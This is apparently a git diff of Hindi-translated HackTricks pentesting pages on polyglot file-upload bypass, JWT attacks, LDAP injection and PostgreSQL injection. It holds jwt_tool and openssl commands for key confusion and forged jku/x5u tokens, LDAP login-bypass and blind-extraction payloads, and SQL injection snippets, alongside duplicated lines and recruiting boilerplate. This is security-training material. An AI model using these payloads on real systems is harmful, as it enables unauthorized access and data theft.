पॉलीग्लॉट फ़ाइलों की मुख्य उपयोगिता उनकी क्षमता में निहित है जो फ़ाइलों को प्रकार के आधार पर स्क्रीन करने वाले सुरक्षा उपायों को बायपास कर सकती हैं। विभिन्न अनुप्रयोगों में सामान्य प्रथा केवल कुछ फ़ाइल प्रकारों को अपलोड करने की अनुमति देना है—जैसे JPEG, GIF, या DOC—संभावित हानिकारक प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए। हालाँकि, एक पॉलीग्लॉट, जो कई फ़ाइल प्रकारों क संरचनात्मक मानदंडों के अनुरूप है, चुपचाप इन प्रतिबंधों को बायपास कर सकता है।
पॉलीग्लॉट फ़ाइलों की मुख्य उपयोगिता उनकी क्षमता में निहित है जो फ़ाइलों को प्रकार के आधार पर स्क्रीन करने वाले सुरक्षा उपायों को बायपास कर सकती हैं। विभिन्न अनुप्रयोगों में सामान्य प्रथा केवल कुछ फ़ाइल प्रकारों को अपलोड करने की अनुमति देना है—जैसे JPEG, GIF, या DOC—संभावित हानिकारक प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए। हालाँकि, एक पॉलीग्लॉट, जो कई फ़ाइल प्रकारों क संरचनात्मक मानदंडों के अनुसार है, चुपचाप इन प्रतिबंधों को बायपास कर सकता है।
अपनी अनुकूलता के बावजूद, पॉलीग्लॉट्स सीमाओं का सामना करते हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट एक साथ एक PHAR फ़ाइल (PHp ARchive) और एक JPEG को समाहित कर सकता है, इसके अपलोड की सफलता प्लेटफ़ॉर्म की फ़ाइल एक्सटेंशन नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमत एक्सटेंशन के बारे में सख्त है, तो पॉलीग्लॉट की केवल संरचनात्मक द्वैतता इसके अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती है।
अपनी अनुकूलता के बावजूद, पॉलीग्लॉट्स सीमाओं का सामना करते हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट एक साथ एक PHAR फ़ाइल (PHp ARchive) और एक JPEG को समाहित कर सकता है, इसके अपलोड की सफलता प्लेटफ़ॉर्म की फ़ाइल एक्सटेंशन नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमत एक्सटेंशनों के बारे में सख्त है, तो पॉलीग्लॉट की केवल संरचनात्मक द्वैतता इसके अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती है।
अधिक जानकारी के लिए: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
@ -329,9 +329,9 @@ PNG फ़ाइल के IDAT भाग में PHP शेल एम्ब
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अनहैक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अनहैक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
{% embed url="https://www.stmcyber.com/careers" %}
@ -344,7 +344,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो** करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
</details>

View file

@ -15,18 +15,18 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अजेय को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
{% embed url="https://www.stmcyber.com/careers" %}
**इस पोस्ट का एक भाग शानदार पोस्ट पर आधारित है:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**JWTs को पेंटेस्ट करने के लिए महान उपकरण का लेखक** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
**JWTs को पेंटेस्ट करने के लिए महान टूल का लेखक** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **Quick Wins**
Run [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) with mode `All Tests!` and wait for green lines
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) को `All Tests!` मोड में चलाएं और हरे लाइनों का इंतजार करें
```bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
@ -44,7 +44,7 @@ You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/s
### डेटा को बिना कुछ बदले टेम्पर करें
आप बस डेटा को टेम्पर कर सकते हैं और सिग्नेचर को वैसा ही छोड़ सकते हैं और देख सकते हैं कि क्या सर्वर सिग्नेचर की जांच कर रहा है। उदाहरण के लिए, अपने उपयोगकर्ता नाम को "admin" में बदलने की कोशिश करें।
आप बस डेटा के साथ छेड़छाड़ कर सकते हैं और सिग्नेचर को वैसा ही छोड़ सकते हैं और जांच सकते हैं कि क्या सर्वर सिग्नेचर की जांच कर रहा है। उदाहरण के लिए, अपने उपयोगकर्ता नाम को "admin" में बदलने की कोशिश करें।
#### **क्या टोकन की जांच की जाती है?**
@ -52,7 +52,7 @@ You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/s
* एक त्रुटि संदेश ongoing verification का सुझाव देता है; verbose errors में संवेदनशील विवरण की समीक्षा की जानी चाहिए।
* लौटाए गए पृष्ठ में परिवर्तन भी सत्यापन का संकेत देता है।
* कोई परिवर्तन नहीं होने पर कोई सत्यापन नहीं होता; यह तब होता है जब टेम्परिंग payload claims के साथ प्रयोग करने का समय होता है
* कोई परिवर्तन नहीं होने पर कोई सत्यापन नहीं होता; यह तब होता है जब payload claims के साथ छेड़छाड़ करने का प्रयोग किया जाए
### उत्पत्ति
@ -71,18 +71,18 @@ You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/s
### एल्गोरिदम को None में बदलें
उपयोग किए गए एल्गोरिदम को "None" सेट करें और सिग्नेचर भाग को हटा दें।
उपयोग किए गए एल्गोरिदम को "None" के रूप में सेट करें और सिग्नेचर भाग को हटा दें।
इस भेद्यता को आजमाने और JWT के अंदर विभिन्न मानों को बदलने के लिए Burp एक्सटेंशन "JSON Web Token" का उपयोग करें (अनुरोध को Repeater में भेजें और "JSON Web Token" टैब में आप टोकन के मानों को संशोधित कर सकते हैं। आप "Alg" फ़ील्ड के मान को "None" में रखने का विकल्प भी चुन सकते हैं)।
### एल्गोरिदम RS256(asymmetric) को HS256(symmetric) में बदलें (CVE-2016-5431/CVE-2016-10555)
### एल्गोरिदम RS256 (asymmetric) को HS256 (symmetric) में बदलें (CVE-2016-5431/CVE-2016-10555)
एल्गोरिदम HS256 प्रत्येक संदेश पर हस्ताक्षर करने और सत्यापित करने के लिए गुप्त कुंजी का उपयोग करता है।\
एल्गोरिदम RS256 संदेश पर हस्ताक्षर करने के लिए निजी कुंजी का उपयोग करता है और प्रमाणीकरण के लिए सार्वजनिक कुंजी का उपयोग करता है।
यदि आप एल्गोरिदम को RS256 से HS256 में बदलते हैं, तो बैक एंड कोड सार्वजनिक कुंजी को गुप्त कुंजी के रूप में उपयोग करता है और फिर सिग्नेचर को सत्यापित करने के लिए HS256 एल्गोरिदम का उपयोग करता है।
यदि आप RS256 से HS256 में एल्गोरिदम बदलते हैं, तो बैक एंड कोड सार्वजनिक कुंजी को गुप्त कुंजी के रूप में उपयोग करता है और फिर सिग्नेचर को सत्यापित करने के लिए HS256 एल्गोरिदम का उपयोग करता है।
फिर, सार्वजनिक कुंजी का उपयोग करके और RS256 को HS256 में बदलकर हम एक मान्य सिग्नेचर बना सकते हैं। आप इसे निष्पादित करते समय वेब सर्वर का प्रमाणपत्र प्राप्त कर सकते हैं:
फिर, सार्वजनिक कुंजी का उपयोग करते हुए और RS256 को HS256 में बदलते हुए, हम एक मान्य सिग्नेचर बना सकते हैं। आप इसे निष्पादित करते हुए वेब सर्वर का प्रमाणपत्र प्राप्त कर सकते हैं:
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
@ -148,7 +148,7 @@ A scenario where the `kid` parameter specifies a file path used within a command
jku stands for **JWK Set URL**.\
If the token uses a “**jku**” **Header** claim then **check out the provided URL**. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.
First you need to create a new certificate with new private & public keys.
First you need to create a new certificate with new private & public keys
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
@ -167,7 +167,7 @@ print("e:", hex(key.e))
```
#### x5u
X.509 URL. एक URI जो X.509 (एक प्रमाणपत्र प्रारूप मानक) सार्वजनिक प्रमाणपत्रों के सेट की ओर इशारा करता है जो PEM रूप में एन्कोडेड हैं। सेट में पहला प्रमाणपत्र वह होना चाहिए जिसका उपयोग इस JWT पर हस्ताक्षर करने के लिए किया गया है। इसके बाद के प्रमाणपत्र प्रत्येक पिछले पर हस्ताक्षर करते हैं, इस प्रकार प्रमाणपत्र श्रृंखला को पूरा करते हैं। X.509 को RFC 52807 में परिभाषित किया गया है। प्रमाणपत्रों को स्थानांतरित करने के लिए परिवहन सुरक्षा की आवश्यकता होती है।
X.509 URL. एक URI जो X.509 (एक प्रमाणपत्र प्रारूप मानक) सार्वजनिक प्रमाणपत्रों के सेट की ओर इशारा करता है जो PEM रूप में एन्कोडेड हैं। सेट में पहला प्रमाणपत्र वह होना चाहिए जिसका उपयोग इस JWT पर हस्ताक्षर करने के लिए किया गया है। बाद के प्रमाणपत्र प्रत्येक पिछले पर हस्ताक्षर करते हैं, इस प्रकार प्रमाणपत्र श्रृंखला को पूरा करते हैं। X.509 को RFC 52807 में परिभाषित किया गया है। प्रमाणपत्रों को स्थानांतरित करने के लिए परिवहन सुरक्षा की आवश्यकता होती है।
कोशिश करें कि **इस हेडर को एक URL में बदलें जो आपके नियंत्रण में हो** और जांचें कि क्या कोई अनुरोध प्राप्त होता है। उस मामले में आप **JWT को छेड़ सकते हैं**
@ -176,7 +176,7 @@ X.509 URL. एक URI जो X.509 (एक प्रमाणपत्र प्
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
फिर आप उदाहरण के लिए [**jwt.io**](https://jwt.io) का उपयोग कर सकते हैं **नए JWT को बनाने के लिए जो कि बनाए गए सार्वजनिक और निजी कुंजियों के साथ है और पैरामीटर x5u को बनाए गए प्रमाणपत्र .crt की ओर इंगित करता है।**
फिर आप उदाहरण के लिए [**jwt.io**](https://jwt.io) का उपयोग कर सकते हैं ताकि **बनाए गए सार्वजनिक और निजी कुंजियों के साथ नया JWT बनाया जा सके और पैरामीटर x5u को बनाए गए प्रमाणपत्र .crt की ओर इंगित किया जा सके।**
![](<../.gitbook/assets/image (956).png>)
@ -184,7 +184,7 @@ openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
#### x5c
यह पैरामीटर **बेस64 में प्रमाणपत्र** हो सकता है:
यह पैरामीटर **base64 में प्रमाणपत्र** हो सकता है:
![](<../.gitbook/assets/image (1119).png>)
@ -231,7 +231,7 @@ Finally, using the public and private key and the new "n" and "e" values you can
यदि कुछ अनुप्रयोग ES256 का उपयोग करते हैं और दो jwts उत्पन्न करने के लिए समान nonce का उपयोग करते हैं, तो निजी कुंजी को पुनर्स्थापित किया जा सकता है।
यहाँ एक उदाहरण है: [ECDSA: यदि समान nonce का उपयोग किया गया (SECP256k1 के साथ) तो निजी कुंजी का खुलासा करना](https://asecuritysite.com/encryption/ecd5)
यहाँ एक उदाहरण है: [ECDSA: समान nonce का उपयोग करने पर निजी कुंजी का खुलासा करना (SECP256k1 के साथ)](https://asecuritysite.com/encryption/ecd5)
### JTI (JWT ID)
@ -252,7 +252,7 @@ JTI (JWT ID) दावा एक JWT टोकन के लिए एक अद
**टोकनों की समाप्ति जांच**
टोकन की समाप्ति "exp" Payload दावा का उपयोग करके जांची जाती है। यह देखते हुए कि JWT अक्सर सत्र की जानकारी के बिना उपयोग किए जाते हैं, सावधानीपूर्वक हैंडलिंग की आवश्यकता होती है। कई मामलों में, किसी अन्य उपयोगकर्ता के JWT को कैप्चर करना और पुनः खेलना उस उपयोगकर्ता की नकल करने में सक्षम कर सकता है। JWT RFC JWT पुनः खेल हमलों को कम करने की सिफारिश करता है "exp" दावा का उपयोग करके टोकन के लिए एक समाप्ति समय सेट करने के लिए। इसके अलावा, इस मान को संसाधित करने और समाप्त टोकनों को अस्वीकार करने के लिए अनुप्रयोग द्वारा प्रासंगिक जांच का कार्यान्वयन महत्वपूर्ण है। यदि टोकन में "exp" दावा शामिल है और परीक्षण समय सीमाएँ अनुमति देती हैं, तो टोकन को संग्रहीत करना और समाप्ति समय बीतने के बाद इसे पुनः खेलना सलाह दी जाती है। टोकन की सामग्री, जिसमें टाइमस्टैम्प पार्सिंग और समाप्ति जांच (UTC में टाइमस्टैम्प) शामिल है, jwt_tool के -R ध्वज का उपयोग करके पढ़ी जा सकती है।
टोकन की समाप्ति "exp" Payload दावा का उपयोग करके जांची जाती है। यह देखते हुए कि JWT अक्सर सत्र की जानकारी के बिना उपयोग किए जाते हैं, सावधानीपूर्वक हैंडलिंग की आवश्यकता होती है। कई मामलों में, किसी अन्य उपयोगकर्ता के JWT को कैप्चर और पुनः खेलना उस उपयोगकर्ता की नकल करने में सक्षम कर सकता है। JWT RFC अनुशंसा करता है कि JWT पुनः खेल हमलों को कम करने के लिए "exp" दावा का उपयोग करके टोकन के लिए एक समाप्ति समय सेट किया जाए। इसके अलावा, इस मान को संसाधित करने और समाप्त टोकनों को अस्वीकार करने के लिए अनुप्रयोग द्वारा प्रासंगिक जांच का कार्यान्वयन महत्वपूर्ण है। यदि टोकन में "exp" दावा शामिल है और परीक्षण समय सीमाएँ अनुमति देती हैं, तो टोकन को संग्रहीत करना और समाप्ति समय बीतने के बाद इसे पुनः खेलना सलाह दी जाती है। टोकन की सामग्री, जिसमें टाइमस्टैम्प पार्सिंग और समाप्ति जांच (UTC में टाइमस्टैम्प) शामिल है, को jwt_tool के -R ध्वज का उपयोग करके पढ़ा जा सकता है।
* यदि अनुप्रयोग अभी भी टोकन को मान्य करता है, तो एक सुरक्षा जोखिम हो सकता है, क्योंकि इसका अर्थ हो सकता है कि टोकन कभी समाप्त नहीं हो सकता।
@ -260,7 +260,7 @@ JTI (JWT ID) दावा एक JWT टोकन के लिए एक अद
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).

View file

@ -3,23 +3,23 @@
## LDAP Injection
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
<summary>Support HackTricks</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -57,7 +57,7 @@
`(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))`
आप डेटाबेस तक पहुच सकते हैं, और इसमें विभिन्न प्रकार की जानकारी हो सकती है।
आप डेटाबेस तक पहुच सकते हैं, और इसमें विभिन्न प्रकार की जानकारी हो सकती है।
**OpenLDAP**: यदि 2 फ़िल्टर आते हैं, तो केवल पहले को निष्पादित करता है।\
**ADAM या Microsoft LDS**: 2 फ़िल्टर के साथ वे एक त्रुटि फेंकते हैं।\
@ -73,7 +73,7 @@
फिर: `(&(objectClass=`**`*)(ObjectClass=*))`** पहला फ़िल्टर होगा (जो निष्पादित होता है)।
### लॉगिन बायपास
### Login Bypass
LDAP पासवर्ड को स्टोर करने के लिए कई प्रारूपों का समर्थन करता है: स्पष्ट, md5, smd5, sh1, sha, crypt। इसलिए, यह हो सकता है कि आप जो भी पासवर्ड के अंदर डालें, वह हैश किया गया हो।
```bash
@ -138,7 +138,7 @@ password=any
### ब्लाइंड LDAP इंजेक्शन
आप किसी भी डेटा के लौटने की जांच करने और संभावित ब्लाइंड LDAP इंजेक्शन की पुष्टि करने के लिए झूठे या सही उत्तरों को मजबूर कर सकते हैं:
आप किसी भी डेटा के लौटने की जांच करने और संभावित ब्लाइंड LDAP इंजेक्शन की पुष्टि करने के लिए False या True प्रतिक्रियाओं को मजबूर कर सकते हैं:
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
@ -152,7 +152,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
```
#### Dump data
आप ascii अक्षरों, अंकों और प्रतीकों के माध्यम से पुनरावृत्ति कर सकते हैं:
आप ascii अक्षरों, अंकों और प्रतीकों पर पुनरावृत्ति कर सकते हैं:
```bash
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
@ -167,7 +167,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
#### **मान्य LDAP फ़ील्ड खोजें**
LDAP ऑब्जेक्ट्स **डिफ़ॉल्ट रूप से कई विशेषताएँ** रखते हैं जो **जानकारी सहेजने** के लिए उपयोग की जा सकती हैं। आप **उनमें से सभी को ब्रूट-फोर्स करने की कोशिश कर सकते हैं ताकि उस जानकारी को निकाला जा सके।** आप [**डिफ़ॉल्ट LDAP विशेषताओं की सूची यहाँ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) पा सकते हैं।
LDAP ऑब्जेक्ट्स **डिफ़ॉल्ट रूप से कई विशेषताएँ** रखते हैं जो **जानकारी सहेजने** के लिए उपयोग की जा सकती हैं। आप **उन सभी को ब्रूट-फोर्स करने की कोशिश कर सकते हैं ताकि उस जानकारी को निकाला जा सके।** आप [**डिफ़ॉल्ट LDAP विशेषताओं की सूची यहाँ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) पा सकते हैं।
```python
#!/usr/bin/python3
import requests
@ -224,7 +224,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
@ -238,8 +238,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>Support HackTricks</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) की जांच करें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर **हमें फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमसे जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
@ -23,15 +23,15 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
***
**यह पृष्ठ विभिन्न तकनीकों को समझाने का लक्ष्य रखता है जो आपको PostgreSQL डेटाबेस में पाए गए SQL इंजेक्शन का शोषण करने में मदद कर सकती हैं और उन तकनीकों को पूरा कर सकती हैं जो आप** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **पर पा सकते हैं।**
**यह पृष्ठ विभिन्न तकनीकों को समझाने का लक्ष्य रखता है जो आपको एक पोस्टग्रेएसक्यूएल डेटाबेस में पाए गए SQL इंजेक्शन का शोषण करने में मदद कर सकती हैं और उन तकनीकों को पूरा कर सकती हैं जो आप** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **पर पा सकते हैं।**
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
**PostgreSQL मॉड्यूल `dblink`** अन्य PostgreSQL उदाहरणों से कनेक्ट करने और TCP कनेक्शन निष्पादित करने की क्षमताएँ प्रदान करता है। ये सुविधाएँ, `COPY FROM` कार्यक्षमता के साथ मिलकर, विशेषाधिकार वृद्धि, पोर्ट स्कैनिंग, और NTLM चुनौती प्रतिक्रिया कैप्चर जैसी क्रियाओं को सक्षम बनाती हैं। इन हमलों को निष्पादित करने के विस्तृत तरीकों के लिए देखें कि [इन हमलों को कैसे करें](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)।
### **dblink और बड़े ऑब्जेक्ट्स का उपयोग करके एक्सफिल्ट्रेशन उदाहरण**
### **dblink और बड़े ऑब्जेक्ट्स का उपयोग करके डेटा निकासी का उदाहरण**
आप [**इस उदाहरण को पढ़ सकते हैं**](dblink-lo\_import-data-exfiltration.md) यह देखने के लिए कि **कैसे बड़े ऑब्जेक्ट्स के अंदर डेटा लोड करें और फिर फ़ंक्शन `dblink_connect` के उपयोगकर्ता नाम के अंदर बड़े ऑब्जेक्ट्स की सामग्री को एक्सफिल्ट्रेट करें।**
आप [**इस उदाहरण को पढ़ सकते हैं**](dblink-lo_import-data-exfiltration.md) यह देखने के लिए कि **कैसे बड़े ऑब्जेक्ट्स के अंदर डेटा लोड करें और फिर फ़ंक्शन `dblink_connect` के उपयोगकर्ता नाम के अंदर बड़े ऑब्जेक्ट्स की सामग्री को निकासी करें।**
## PostgreSQL हमले: पढ़ें/लिखें, RCE, प्रिवेस्क
@ -46,7 +46,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
### PostgreSQL स्ट्रिंग फ़ंक्शन
स्ट्रिंग्स को मैनिपुलेट करना आपको **WAFs या अन्य प्रतिबंधों को बायपास करने में मदद कर सकता है।**\
[**इस पृष्ठ में**](https://www.postgresqltutorial.com/postgresql-string-functions/) **आप कुछ उपयोगी स्ट्रिंग फ़ंक्शन पा सकते हैं।**
[**इस पृष्ठ पर**](https://www.postgresqltutorial.com/postgresql-string-functions/)**आप कुछ उपयोगी स्ट्रिंग फ़ंक्शन पा सकते हैं।**
### स्टैक्ड क्वेरीज़
@ -59,7 +59,7 @@ id=1; select pg_sleep(10);-- -
**query\_to\_xml**
यह फ़ंक्शन केवल एक फ़ाइल में XML प्रारूप में सभी डेटा लौटाएगा। यदि आप केवल 1 पंक्ति में बहुत सारा डेटा डंप करना चाहते हैं तो यह आदर्श है:
यह फ़ंक्शन केवल एक फ़ाइल में XML प्रारूप में सभी डेटा लौटाएगा। यदि आप केवल 1 पंक्ति में बहुत सारा डेटा डंप करना चाहते हैं, तो यह आदर्श है:
```sql
SELECT query_to_xml('select * from pg_user',true,true,'');
```
@ -87,7 +87,7 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
### निषिद्ध उद्धरण
